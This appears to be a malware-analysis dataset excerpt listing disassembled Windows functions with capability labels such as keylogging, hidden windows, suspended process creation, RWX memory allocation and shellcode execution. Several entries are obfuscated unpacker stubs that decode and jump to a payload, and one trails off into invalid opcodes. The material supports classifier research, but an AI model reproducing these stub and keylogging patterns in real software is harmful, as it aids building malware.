joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d845865
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x6d84586f
lea esi, [ecx - 0x78]
jmp 0x6d845871
xor esi, esi
lea eax, [esi + 0x84]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x50]
test esi, esi
je 0x6d84588d
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8
Function at 0x6d8466da
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
sub esp, 0x400
lea ebp, [esp - 4]
mov eax, dword [0x6d85dbf4]
xor eax, ebp
mov dword [ebp + 0x400], eax
push 0x6c
mov eax, 0x6d854b18
call fcn.6d84a2d2
mov esi, ecx
xor ecx, ecx
inc ecx
cmp dword [esi + 0x98], ecx
je 0x6d846875
xor ebx, ebx
push ebx
push 0x6d841abe
push dword [esi + 0x50]
mov dword [esi + 0x98], ecx
push 0x65
push dword [0x6d85ea6c]
call dword [sym.imp.USER32.dll_DialogBoxParamA]
cmp eax, 0x2711
jne 0x6d846875
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x10], ebx
mov esi, dword [esi + 0x14]
mov eax, dword [esi]
lea ecx, [ebp - 0x1c]
push ecx
push 0x6d856b60
push esi
mov byte [ebp - 4], 3
call dword [eax]
cmp eax, ebx
jne 0x6d846795
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x6d856b50
push 0x6d856b40
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push eax
call dword [ecx + 0x78]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push eax
call dword [ecx + 0x98]
mov eax, dword [ebp - 0x18]
mov edi, dword [sym.imp.kernel32.dll_lstrlenW]
mov byte [ebp], bl
mov dword [ebp - 0x24], eax
cmp eax, ebx
je 0x6d8467b3
push eax
call edi
inc eax
cmp eax, 0x3fffffff
jle 0x6d8467b8
mov dword [ebp - 0x20], ebx
jmp 0x6d8467d3
lea esi, [eax + eax]
mov eax, esi
call fcn.6d84ae20
mov eax, esp
push 3
push esi
push dword [ebp - 0x24]
push eax
call fcn.6d854575
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
cmp eax, ebx
je 0x6d8467e8
push eax
call edi
inc eax
cmp eax, 0x3fffffff
jle 0x6d8467ec
xor eax, eax
jmp 0x6d846804
lea esi, [eax + eax]
mov eax, esi
call fcn.6d84ae20
mov eax, esp
push 3
push esi
push dword [ebp - 0x24]
push eax
call fcn.6d854575
push dword [ebp - 0x20]
push eax
lea eax, [ebp]
push 0x6d8563d4
push eax
call fcn.6d854575
push 0x44
pop esi
push esi
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.6d84a3a0
add esp, 0x1c
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp]
push eax
push ebx
mov dword [ebp - 0x78], esi
call dword [sym.imp.kernel32.dll_CreateProcessA]
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 2
cmp eax, ebx
je 0x6d846854
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 1
cmp eax, ebx
je 0x6d846865
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
push dword [ebp - 0x18]
call esi
xor eax, eax
lea esp, [ebp - 0x88]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x400]
xor ecx, ebp
call fcn.6d84a2c3
add ebp, 0x404
leave
ret 0x10
Function at 0x6d846bae
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x6d846bc0
add eax, 0xffffff84
jmp 0x6d846bc2
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x6d8563e0
lea ecx, [eax + 4]
call fcn.6d845513
test eax, eax
js 0x6d846c2b
cmp dword [ebp + 8], 0
je 0x6d846c28
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x6d846c00
inc edi
push 0x11
call esi
test ax, ax
jns 0x6d846c0c
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x6d846c18
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x6d846c2b
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x6d846c41
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8
Function at 0x6d849663
Capabilities:
Accept command line arguments

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x6d85dbf4]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x28
mov eax, 0x6d854cc7
call fcn.6d84a2d2
xor ebx, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov esi, 0x20019
push esi
push str.SOFTWARE
push SysStringLen
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.6d854575
test eax, eax
je 0x6d849704
lea ecx, [ebp - 0x24]
call fcn.6d841078
lea ecx, [ebp - 0x18]
call fcn.6d841078
lea ecx, [ebp - 0x30]
call fcn.6d841078
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.6d84a2c3
add ebp, 0x104
leave
ret
mov dword [ebp - 0x34], 0x100
xor edi, edi
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push str.etscp
push eax
call fcn.6d84b080
pop ecx
pop ecx
push esi
lea ecx, [ebp - 0x18]
test eax, eax
je 0x6d849776
push str.Netscape
push dword [ebp - 0x30]
call fcn.6d854575
lea ecx, [ebp - 0x24]
test eax, eax
jne 0x6d8496ca
push esi
push str.Netscape_6
push dword [ebp - 0x18]
call fcn.6d854575
lea ecx, [ebp - 0x24]
test eax, eax
jne 0x6d8496ca
lea eax, [ebp - 0x34]
push eax
push 0x6d856a5c
lea eax, [ebp]
push eax
call fcn.6d854575
test eax, eax
jne 0x6d8496c7
push 0x6d856a6c
jmp 0x6d8497be
push str.mozilla.org
push dword [ebp - 0x30]
call fcn.6d854575
lea ecx, [ebp - 0x24]
test eax, eax
jne 0x6d8496ca
push esi
push str.Mozilla
push dword [ebp - 0x18]
call fcn.6d854575
test eax, eax
jne 0x6d8497cc
lea eax, [ebp - 0x34]
push eax
push str.CurrentVersion
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x24]
call fcn.6d854575
test eax, eax
jne 0x6d8497cc
push 0x6d856a94
lea eax, [ebp]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
js 0x6d8497cf
xor edi, edi
inc edi
mov eax, edi
dec eax
mov byte [0x6d85eaf0], bl
je 0x6d8497f9
lea ecx, [ebp - 0x24]
call fcn.6d841078
lea ecx, [ebp - 0x18]
call fcn.6d841078
lea ecx, [ebp - 0x30]
call fcn.6d841078
mov eax, ebx
jmp 0x6d8496e1
push str.jpioji.dll
push 0x6d85eaf0
call dword [sym.imp.kernel32.dll_lstrcatA]
mov esi, 0x6d8555e8
mov edi, 0x6d85eae0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor ebx, ebx
movsd dword es:[edi], dword [esi]
inc ebx
jmp 0x6d8497da
Function at 0x6d84981c
Capabilities:
Query environment variable
Set environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x44d4]
mov eax, 0x44d4
call fcn.6d84ad00
push 0xffffffffffffffff
push 0x6d854cf7
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x6d85dbf4]
xor eax, ebp
mov dword [ebp + 0x44d0], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp + 0x43cd]
push ebx
push eax
mov byte [ebp + 0x43cc], bl
call fcn.6d84a3a0
push esi
lea eax, [ebp + 0x42c9]
push ebx
push eax
mov byte [ebp + 0x42c8], bl
call fcn.6d84a3a0
push 0x1f9f
lea eax, [ebp + 1]
push ebx
push eax
mov byte [ebp], bl
call fcn.6d84a3a0
push 0x2327
lea eax, [ebp + 0x1fa1]
push ebx
push eax
mov byte [ebp + 0x1fa0], bl
call fcn.6d84a3a0
add esp, 0x30
inc esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
push 0x20019
push str.SOFTWAREJavaSoftJava_Runtime_Environment1.7.0
push SysStringLen
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], ebx
call fcn.6d854575
lea ecx, [ebp - 0x18]
test eax, eax
je 0x6d84990b
call fcn.6d841078
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp + 0x44d0]
xor ecx, ebp
call fcn.6d84a2c3
add ebp, 0x44d4
leave
ret
lea eax, [ebp - 0x1c]
push eax
push str.JavaHome
lea eax, [ebp + 0x43cc]
push eax
call fcn.6d854575
test eax, eax
je 0x6d849930
lea ecx, [ebp - 0x18]
call fcn.6d841078
mov eax, ebx
jmp 0x6d8498e9
push esi
lea eax, [ebp + 0x42c8]
push eax
lea eax, [ebp + 0x43cc]
push eax
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
push 0x1fa0
lea eax, [ebp]
push eax
push 0x6d856ad8
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
lea eax, [ebp]
push eax
lea eax, [ebp + 0x42c8]
push eax
lea eax, [ebp + 0x1fa0]
push str._s_bin__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp + 0x1fa0]
push eax
push str.PATH
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
xor ebx, ebx
inc ebx
jmp 0x6d849924

Function at 0x6d849ca0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d85ec1c], 0
push esi
push edi
jne 0x6d849c16
call fcn.6d849b82
test eax, eax
je 0x6d849c5b
mov eax, dword [0x6d85ec1c]
cmp eax, 1
jne 0x6d849c37
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d849c5b
jmp 0x6d849c9d
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d849c9d
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d849c5f
xor eax, eax
jmp 0x6d849c9d
mov eax, dword [esi]
push dword [0x6d85ec1c]
call edi
mov edi, eax
test edi, edi
je 0x6d849c81
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d849c9d
lea edi, [esi + 0xff0]
push esi
push dword [0x6d85ec1c]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d849c87
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d849c02
Function at 0x6d84a2c3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d85dbf4]
jne 0x6d84a2cd
repz ret
jmp fcn.6d84c78c

Function at 0x6d854575
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x6d854584
pop dword [ebp - 0x40]
mov eax, 0x394b1423
add eax, 0x343a3161
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3cbb4
push 0
mov eax, 0x73b0dbb4
sub eax, 0x62b8af0
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x93fe213f
sub ecx, 0x93fdce69
xor edx, edx
add edx, eax
mov ebx, 0xf2458fde
add ebx, 0x7b411822
add ebx, dword [ebp - 0x40]
mov esi, 0x97e9531d
sub dword [ebp - 0x20], 0x45b9e05c
mov edi, dword [ebx]
mov dword [ebp - 4], 0xa8345ce7
add edi, esi
xor dword [ebp - 0x10], 0x3fced910
mov dword [edx], edi
sub dword [ebp - 0x24], 0xb49d9efb
add edx, 0x707ff90f
add edx, 0x8f8006f5
add ebx, 0x3fe36cea
sub ebx, 0x3fe36ce6
loop 0x6d8545df
add eax, 0x13e2b
xor ebx, ebx
add ebx, eax
add eax, 0xe6be5d58
add eax, 0x1941a2ad
mov ecx, 0x6d840000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x10013a24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10013a33
pop dword [ebp - 0x38]
mov eax, 0xbbdd2a1c
sub eax, 0xabdbefe9
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xaef999e5
sub dword [ebp - 0x48], 0x60a7549a
mov dword [ebp - 0x44], 0xcf845324
sub dword [ebp - 0x44], 0x9d5106df
mov dword [ebp - 0x40], 0x6919c032
sub dword [ebp - 0x40], 0x1ccd7c04
mov dword [ebp - 0x3c], 0xeb28c0d4
add dword [ebp - 0x3c], 0x14d73f2c
lea eax, [ebp - 0x48]
push eax
mov eax, 0xe0baca55
add eax, 0x2f46f62b
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x70160afb
sub dword [ebp - 0x48], 0xfba3a1a5
mov dword [ebp - 0x44], 0x7310532d
sub dword [ebp - 0x44], 0x31a3f1b8
mov dword [ebp - 0x40], 0xfe0ff051
add dword [ebp - 0x40], 0x655f7c1b
mov dword [ebp - 0x3c], 0xbfa4107e
add dword [ebp - 0x3c], 0x405bef82
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xe6bc547d
add eax, 0x29456b83
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x36fe9
push 0
call eax
mov ecx, 0xce1cf4a3
add ecx, 0x31e351b2
mov edi, eax
mov ebx, 0xc7bcb3e3
sub ebx, 0xb7ba4be3
add ebx, dword [ebp - 0x38]
mov edx, 0x8f7abaef
add edx, 0x37f7c668
xor dword [ebp - 0x10], 0xd6b36939
mov esi, dword [ebx]
add dword [ebp - 0x24], 0x77664f47
add esi, edx
mov dword [edi], esi
add dword [ebp - 0x10], 0x16357ca
add edi, 0xef81f4d6
sub edi, 0xef81f4d2
add ebx, 4
loop 0x10013b55
add eax, 0x6badc606
sub eax, 0x6bacb9df
mov ebx, eax
add eax, 0x7640261e
sub eax, 0x76402619
mov ecx, 0x911194b0
add ecx, 0x7eee6b50
invalid
invalid
invalid
invalid
invalid
Function at 0x6a1c2270
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x6a1c22cb
cmp byte [esi + ebx - 1], 0xa
je 0x6a1c229f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x6a1c3118], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x4010f0
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ecx
push esi
push edi
sub esp, 8
mov esi, eax
mov edi, edx
xor edx, edx
mov ecx, eax
inc eax
cmp byte [ecx], 0
je 0x401107
inc edx
jmp 0x4010fc
push 0
lea eax, [esp + 4]
push eax
push edx
push esi
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [esp + 4]
push eax
push 2
lea eax, [esp + 0x10]
push eax
push 0xfffffffffffffff4
mov word [esp + 0x18], 0xa0d
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, edi
jmp 0x401450
mov ecx, eax
call fcn.00401390
cmp dword [0x408008], 0
je 0x401487
cmp dword [0x40705c], 0
jne 0x401478
xor ebx, ebx
push ecx
mov dword [0x407018], ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov edx, 0xf
xor eax, eax
call dword [0x40705c]
jmp 0x401469
call fcn.00402900
mov edx, 0xf
xor eax, eax
call fcn.00402a10
call dword [0x407050]
jmp 0x401469
Function at 0x4011b0
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ecx
push esi
push edi
mov edi, eax
mov esi, ebx
mov dword [0x408008], eax
mov dword [0x407018], edx
call fcn.00401780
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsA]
mov dword [0x4070b6], eax
xor eax, eax
mov dword [0x408628], eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov edx, eax
mov byte [0x4070bc], al
shr eax, 0x10
push 0x104
mov word [0x4070be], ax
xor eax, eax
mov ebx, 0x208
mov ax, word [0x4070be]
and edx, 0xffff
mov dword [0x4070c0], eax
xor eax, eax
sar edx, 8
mov al, byte [0x4070bc]
and edx, 0xff
mov dword [0x4070c4], eax
xor eax, eax
mov byte [0x4070bd], dl
mov al, dl
mov edx, dword [0x4070c4]
push 0x40800c
shl edx, 8
push 0
or edx, eax
mov dword [0x4070c8], eax
mov dword [0x4070cc], edx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x408110
xor eax, eax
mov dword [0x407084], 0x40800c
call fcn.004018b0
mov dword [0x407090], 0x408110
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
call fcn.00401950
mov edx, eax
mov bl, byte [eax]
mov dword [0x408004], eax
cmp bl, 0x22
je 0x4012a4
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x401991], 2
je 0x4012bc
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x401991], 2
je 0x4012c3
inc eax
jmp 0x401294
inc eax
cmp bl, byte [eax]
je 0x4012b4
cmp byte [eax], 0
je 0x4012b4
inc eax
cmp byte [eax], 0x22
jne 0x4012a9
cmp byte [eax], 0
je 0x401294
inc eax
jmp 0x401294
test dl, dl
je 0x401294
inc eax
jmp 0x401287
mov dword [0x407080], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
test eax, eax
je 0x401337
call fcn.00401a91
mov edx, eax
mov bx, word [eax]
mov dword [0x408000], eax
cmp bx, 0x22
je 0x40130a
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x401991], 2
je 0x40132c
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x401991], 2
je 0x40133c
add eax, 2
jmp 0x4012f8
add eax, 2
cmp bx, word [eax]
je 0x401321
cmp word [eax], 0
je 0x401321
add eax, 2
cmp word [eax], 0x22
jne 0x401312
cmp word [eax], 0
je 0x4012f8
add eax, 2
jmp 0x4012f8
cmp word [eax], 0
je 0x4012f8
add eax, 2
jmp 0x4012eb
mov eax, 0x401170
mov dword [0x40708c], eax
test edi, edi
jne 0x40134e
mov eax, 1
pop edi
pop esi
pop ecx
ret
push 0x104
push 0x408318
push esi
mov ebx, 0x208
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x40841c
mov eax, esi
mov dword [0x407088], 0x408318
call fcn.004018b0
mov dword [0x407094], 0x40841c
mov eax, 1
pop edi
pop esi
pop ecx
ret
Function at 0x4038c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push edx
sub esp, 4
mov dword [esp], eax
mov eax, dword [0x4071dc]
test eax, eax
je 0x4038dc
cmp dword [0x40707c], 0xfffffffe
jne 0x4038e2
xor eax, eax
add esp, 4
pop edx
pop ecx
ret
mov eax, esp
call fcn.00403870
test eax, eax
je 0x4038dc
push 0x40
push 0x1000
mov ecx, dword [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, eax
test eax, eax
je 0x4038dc
mov eax, dword [esp]
sub eax, 4
cmp eax, dword [esp]
ja 0x4038da
mov dword [esp], eax
cmp eax, 0x38
jb 0x4038da
mov dword [edx], eax
mov eax, edx
call fcn.004037f0
mov ecx, eax
mov eax, dword [eax]
mov dword [esp], eax
or al, 1
mov dword [ecx], eax
mov dword [edx + 0x14], 0
lea eax, [ecx + 4]
inc dword [edx + 0x18]
call fcn.00401ac0
mov eax, 1
add esp, 4
pop edx
pop ecx
ret

Function at 0x404240
Capabilities:
Set environment variable

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
sub esp, 0x14
mov ebp, eax
mov dword [esp], 2
mov edx, 0x3d
mov dword [esp + 4], 1
call fcn.00404730
mov ebx, eax
test eax, eax
je 0x40426e
cmp eax, ebp
jne 0x40427d
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
sub eax, ebp
mov dword [esp + 0xc], eax
inc eax
call fcn.00402b00
mov edx, eax
mov dword [esp + 8], eax
test eax, eax
je 0x40426e
mov ecx, dword [esp + 0xc]
mov esi, ebp
mov edi, eax
push edi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov cl, al
and cl, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [esp + 0xc]
lea esi, [ebx + 1]
mov byte [edx + eax], 0
mov eax, esi
call fcn.00404790
mov ebx, eax
test eax, eax
je 0x404343
inc eax
call fcn.00402b00
mov dword [esp + 0x10], eax
test eax, eax
je 0x40432d
mov ecx, ebx
mov edi, eax
push edi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov cl, al
and cl, 3
rep movsb byte es:[edi], byte [esi]
pop edi
add ebx, edi
mov byte [ebx], 0
mov edx, dword [esp + 0x10]
push edx
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
mov edx, eax
mov eax, dword [esp + 8]
call fcn.00401ac0
mov eax, dword [esp + 0x10]
call fcn.00401ac0
test edx, edx
jne 0x404349
cmp dword [esp + 0x10], 0
jne 0x40426e
xor eax, eax
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, edx
call fcn.00401ac0
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov dword [esp + 0x10], eax
jmp 0x4042ee
mov eax, ebp
call fcn.004044d0
test eax, eax
jne 0x40426e
cmp dword [0x40862c], 0
je 0x404273
mov eax, ebp
call fcn.00404790
lea ebx, [eax + 1]
mov eax, dword [esp]
imul eax, ebx
call fcn.00402b00
mov ecx, eax
test eax, eax
je 0x4043b1
imul ebx, dword [esp + 4]
mov edx, ebp
call fcn.004047c0
cmp eax, 0xffffffff
jne 0x4043ca
mov eax, ecx
call fcn.00401ac0
mov eax, 0xe
call fcn.00402bfa
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, 5
call fcn.00402bfa
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, ecx
call fcn.00404a60
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x10002291
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x100022a0
pop dword [ebp - 0x30]
mov eax, 0x8c18f253
sub eax, 0x7c18cfb3
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xed9bb1c1
add dword [ebp - 0x40], 0x60b6938a
mov dword [ebp - 0x3c], 0xbfa126a9
add dword [ebp - 0x3c], 0x7292259c
mov dword [ebp - 0x38], 0x8536731e
add dword [ebp - 0x38], 0xc715d110
mov dword [ebp - 0x34], 0x5c230091
sub dword [ebp - 0x34], 0x5c230091
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xb9f9c2ab
sub dword [ebp - 0x40], 0x45875955
mov dword [ebp - 0x3c], 0xd09e0753
add dword [ebp - 0x3c], 0x70ce5a22
mov dword [ebp - 0x38], 0xf22648ff
add dword [ebp - 0x38], 0x7149236d
mov dword [ebp - 0x34], 0xec07a043
sub dword [ebp - 0x34], 0xec07a043
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3adb5
push 0
call eax
mov ecx, 0xc612d361
add ecx, 0x39ed8525
mov edi, eax
mov ebx, 0x10040600
add ebx, dword [ebp - 0x30]
mov esi, 0x3d7412aa
mov edx, dword [ebx]
xor dword [ebp - 0x20], 0x4b6d4375
add edx, esi
sub dword [ebp - 0x28], 0xfac4e13e
mov dword [edi], edx
add dword [ebp - 0xc], ecx
add edi, 0x125d983
sub edi, 0x125d97f
add ebx, 0xafa4519c
add ebx, 0x505bae68
loop 0x100023ac
add eax, 0x716f6e8e
sub eax, 0x716e19a3
mov ebx, eax
add eax, 5
mov ecx, 0x2377b173
sub ecx, 0x1377b173
add ecx, dword [ebp - 0x30]
call ebx
leave
ret